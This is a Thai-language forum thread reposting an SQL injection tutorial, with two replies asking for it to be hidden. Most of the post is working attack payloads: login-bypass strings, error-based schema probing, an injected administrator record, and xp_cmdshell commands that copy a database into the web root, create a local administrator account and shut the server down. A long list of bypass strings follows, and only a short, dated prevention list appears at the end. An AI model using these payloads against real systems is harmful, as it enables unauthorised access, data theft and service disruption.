Results 1 to 3 of 3

Thread: บทความ SQL Injection

  1. #1
    Junior Member
    Join Date
    Oct 2007
    Location
    C:\WINDOWS\system32
    Posts
    1


    ในการตรวจสอบสิทธิ์ โปรแกรมเมอร์จะเขียน SQL Login นำตัวแปร Username และ Password ไปเป็นคำสั่ง SQL Login เพื่อทำการสืบค้นข้อมูลจากตารางชื่อ tbl_users ค่าในฟิล Username ตรงกับค่าตัวแปร strUsername ที่หน้า Login และค่า Password ตรงกับค่าตัวแปร strPassword ในหน้า Login ก็จะทำการตรวจเช็ค ถ้าใช่จะทำให้ค่าในตัวแปร strAuthCheck = 1 ถ้าไม่ใช่(ไม่ถูก)ก็เป็น 0 ทำให้โปรแกรมทราบว่าการตรวจสอบสิทธิ์ผ่านหรือไม่
    จะเกิดอะไรขึ้นถ้าตัวแปร Username และ Password ที่ถูกส่งเข้ามาตรวจสอบนั้นไม่ใช่ชื่อผู้ใช้และรหัสผ่าน แต่เป็นส่วนหนึ่งของคำสั่ง SQL ที่สามารถทำให้ความหมายของคำสั่ง SQL Login เปลี่ยนไป

    การข้ามผ่านการตรวจสอบสิทธิ์

    SELECT * FROM tbl_Users WHERE |เงื่อนไขเป็นจริงเสมอ
    Username='hacker' AND Password='' or 9=9;--'

    การกระทำทางตรรกศาสตร์
    X and Y or TRUE มีค่าความเป็นจริงเสมอ
    ' or 9=9
    คำสั่ง SQL Login จะเป็น
    SELECT * FROM tbl_Users WHERE TRUE |ถ้าเป็นอย่างงี้ก็จะเข้าสูตรตรรกเป็นจริง ทำให้การตรวจสอบสิทธิ์ผ่าน

    สัญลักษณ์ ;-- หมายถึงสิ้นสุดคำสั่ง SQL แฮกเกอร์ทำการใส่เพื่อให้ Single Quote ตัวสุดท้ายเป็นโมฆะ

    หลังจากผ่านการตรวจสอบสิทธ์สิ่งที่จะได้รับขึ้นอยู่กับโปรแกรมทางฝั่ง SERVER เช่น
    - เป็นผู้ใช้ที่มีชื่อเดียวกันกับ Username ที่ระบุ
    - ผู้ใช้ที่อยู่ เรคคอร์ดแรกของตาราง (ส่วนใหญ่จะเป็น Admin)
    - เป็นผู้ใช้ที่มี ID น้อยที่สุดของตาราง (ส่วนใหญ่จะเป็น Admin)
    - ได้สิทธิ์เท่ากับผู้ใช้อื่นๆ
    - ไม่ได้รับสิทธิ์อะไรเลย ขึ้นอยู่กับโปรแกรมบนฝั่ง SERVER |แล้วจะ Login มาเพื่ออะไรกันเนี้ย

    งัดแงะเพื่อหาข้อมูลเพิ่มเติม

    ' HAVING 9=9;--
    เริ่มจากการงัดดูข้อมูลฟิลและชื่อตาราง โดยส่งคำสั่งที่ทำให้ SQL เกิดอาการ Eror
    'employee.id'
    'GROUP BY emp_id;--
    'employee.username'
    'GROUP BY username;--
    'employee.feild'

    ด้วยวิธีการนี้ทำให้ทราบทุกฟิลด์ เมื่อทราบข้อมูลฟิลด์ ชื่อตาราง ชื่อฐานข้อมูล แฮกเกอร์สามารส่งคำสั่ง SQL ไปทำการ INSEART ข้อมูลได้

    INSERT INTO members ('email','passwd','login_id','full_name&#39 VALUES ('hacgur@fbi.gov','PasWd123','','Administrator'--

    พยายาม Login เป็น Admin โดยการอัดฉีด Sub

    ' or emp_id=(SELECT top 1 emp_id FROM employee order BY emp_id);--
    ทั้งนี้ขึ้นอยู่กับความรู้คำสั่ง SQL และความสามารถเฉพาะตัว

    ขโมยข้อมูล

    '; exec master..xp_cmdshell 'copy c:\money.mdb c:\inetpub\wwwroot\';--
    แล้วก็ใช้ Browser ทำการ Download มาโดยปกติ http://www.sqlinjection.com\money.mdb

    ' ... ;-- เริ่มต้นคำสั่งจนจบท้ายด้วย ;--
    ครอบครอง SERVER โดยการเพิ่มสิทธิ์ผู้ดูแลระบบ
    exec master..xp_cmdshell '';--
    exec master..xp_cmdshell 'net user Hacker Passwd /add'; |ถ้ายังไม่จบก็ไม่ต้องปิดเครื่องหมาย ;--
    exec master..xp_cmdshell 'net localgroup Administrator Hacker /add';-- |ทำการเพิ่ม user ชื่อ Hacker เป็น ผู้ดูแลระบบ

    หยุดการทำงานของระบบฐานข้อมูล (Microsoft SQL SERVER) *จะรัน xp_cmdshell ได้

    '; shutdown with nowait;--

    การป้องกันการแฮก SQL Injection
    1. ตรวจสอบการป้อนอักขระพิเศษผ่านฟอร์มอินฟุต เช่น ' ; - " | ^ % & @ ( )
    2. จำกัดความยาวของฟิลด์อินพุต
    3. ย้ายสคริปป้องกันทางฝั่ง ไคลเอนต์ไปไว้ฝั่ง เซริฟเวอร์
    4. การแฮกแบบนี้จะสำเร็จหรือไม่ขึ้นอยู่กับโครงสร้างของโปรแกรมที่โปรแกรมเมอร์เขียนขึ้น โดยส่วนใหญ่ ASP จะมีโอกาสสำเร็จสูงกว่า PHP แต่ก็ใช่ว่า PHP จะปลอดภัยและ FIREWALL ไม่สามารถป้องกันการแฮกรูปแบบนี้ได้ จบ

    ตัวอย่างในการข้ามการตรวจสอบสิทธิ์ในรูปแบบต่างๆ


    ' or''='
    ' or 0=0 --
    " or 0=0 --
    or 0=0 --
    ' or 0=0 #
    " or 0=0 #
    or 0=0 #
    ' or 'x'='x
    " or "x"="x
    &#39 or ('x'='x
    ' or 1=1--
    " or 1=1--
    or 1=1--
    ' or a=a--
    " or "a"="a
    &#39 or ('a'='a
    ") or ("a"="a
    hi" or "a"="a
    hi" or 1=1 --
    hi' or 1=1 --
    hi' or 'a'='a
    hi&#39 or ('a'='a
    hi") or ("a"="a


    ปล.เอามาจาก ITCOM2U นะครับ

  2. #2
    Junior Member
    Join Date
    Oct 2007
    Posts
    2


    lock บทความหน่อยก็ดีคับ edit>hide

  3. #3
    Junior Member
    Join Date
    Dec 2007
    Posts
    1


    ผมว่าน่า hide ตรงข้างล่างสุดอ่ะ

Similar Threads

  1. [บทความ]ปฏิบัติการรักษาอายุคอมพิวเตอร์เบื้องต้น
    By vagabond in forum ทิปหรือเคล็ดลับการคอมพิวเตอร์ต่างๆ
    Replies: 0
    Last Post: 28-03-2008, 10:19 PM

Members who have read this thread : 0

Actions : (View-Readers)

There are no names to display.

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •